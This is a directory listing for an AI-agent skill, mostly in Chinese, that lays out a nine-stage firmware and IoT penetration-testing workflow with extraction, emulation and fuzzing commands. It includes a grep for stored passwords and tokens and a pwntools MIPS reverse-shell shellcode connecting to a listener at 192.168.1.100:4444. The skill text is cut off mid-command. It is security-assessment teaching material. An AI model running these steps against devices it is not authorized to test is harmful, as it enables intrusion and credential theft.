Firmware penetration testing following the OWASP FSTM nine-stage flow: extraction, EMBA automation, Firmadyne/QEMU emulation, AFL++ fuzzing, and hands-on exploitation in authorized labs.
Scanned 9/11/2026
Install to Claude Code
npx -y skills add ranbot-ai/awesome-skills --skill firmware-pentest --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Firmware Pentest?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/ranbot-ai-firmware-pentest)More formats (shields.io, HTML) on the badges page.
---
name: firmware-pentest
description: Firmware penetration testing following the OWASP FSTM nine-stage flow: extraction, EMBA automation, Firmadyne/QEMU emulation, AFL++ fuzzing, and hands-on exploitation in authorized labs.
category: Security & Systems
source: antigravity
tags: [python, api, ai, automation, image, security, pentest]
url: https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/firmware-pentest
---
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
# 固件 / IoT 渗透链 (Firmware Pentest)
## When to Use
- Assessing device firmware within an authorized engagement.
- Building an emulated environment for repeatable firmware analysis.
## 适用范围
下列任务进入本 skill:
1. **拿到一份固件文件**(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞
3. **加密/打包固件**,需要找 bootloader 解密例程或硬件 dump
4. **需要在不接触硬件的情况下跑起来**(QEMU 全系统仿真 / Firmadyne / FAT)
5. **对仿真起来的服务做 fuzz**(AFL++ qemu mode / boofuzz)
6. **硬件接口接入**(UART / JTAG / SPI flash dump)
### 与其他 skill 分工
| 场景 | 用什么 |
|------|--------|
| 从零拿到固件,全链路走 FSTM | **本 skill** |
| 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` |
| 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` |
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |
| APK / Android 固件(含 boot.img) | `apk-reverse/`(先剥 boot.img 再用本 skill) |
| 跨版本固件符号迁移 | `binary-diff/` |
## 核心原理
```text
固件 .bin
│
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
│
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
│
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
│
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
│
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
```
关键判断:
- 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
- EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`/dev/` 节点缺失
- ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错
## OWASP FSTM 九阶段工作流
### Stage 1 — 信息收集(Information Gathering)
收集型号、芯片、SDK、已公开 CVE。
```bash
# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
```
输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
### Stage 2 — 获取固件(Obtaining Firmware)
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
```bash
# OTA 抓包后批量下载
mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin
```
### Stage 3 — 分析固件(Analyzing Firmware)
不解压先看头部、熵、字符串、可识别签名。
```bash
binwalk firmware.bin # magic 扫描
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64
```
### Stage 4 — 提取文件系统(Extracting Filesystem)
详见 `references/extraction-methodology.md`。
```bash
binwalk -eM firmware.bin # 递归提取
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBI
```
### Stage 5 — 静态分析文件系统(Filesystem Analysis)
EMBA 一键扫,详见 `references/emba-automated-analysis.md`。
```bash
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
```
手工补:
```bash
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
```
### Stage 6 — 模拟运行(Emulating Firmware)
详见 `references/emulation-and-fuzz.md`。
```bash
# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin
```
### Stage 7 — 动态分析(Dynamic Analysis)
仿真起来后挂调试器、抓流量、跑 fuzz。
```bash
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
```
### Stage 8 — 运行时分析(Runtime Analysis)
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
```bash
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
```
### Stage 9 — 二进制利用(Exploitation)
写 PoC,生成 payload,落地 root shell。
```bash
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!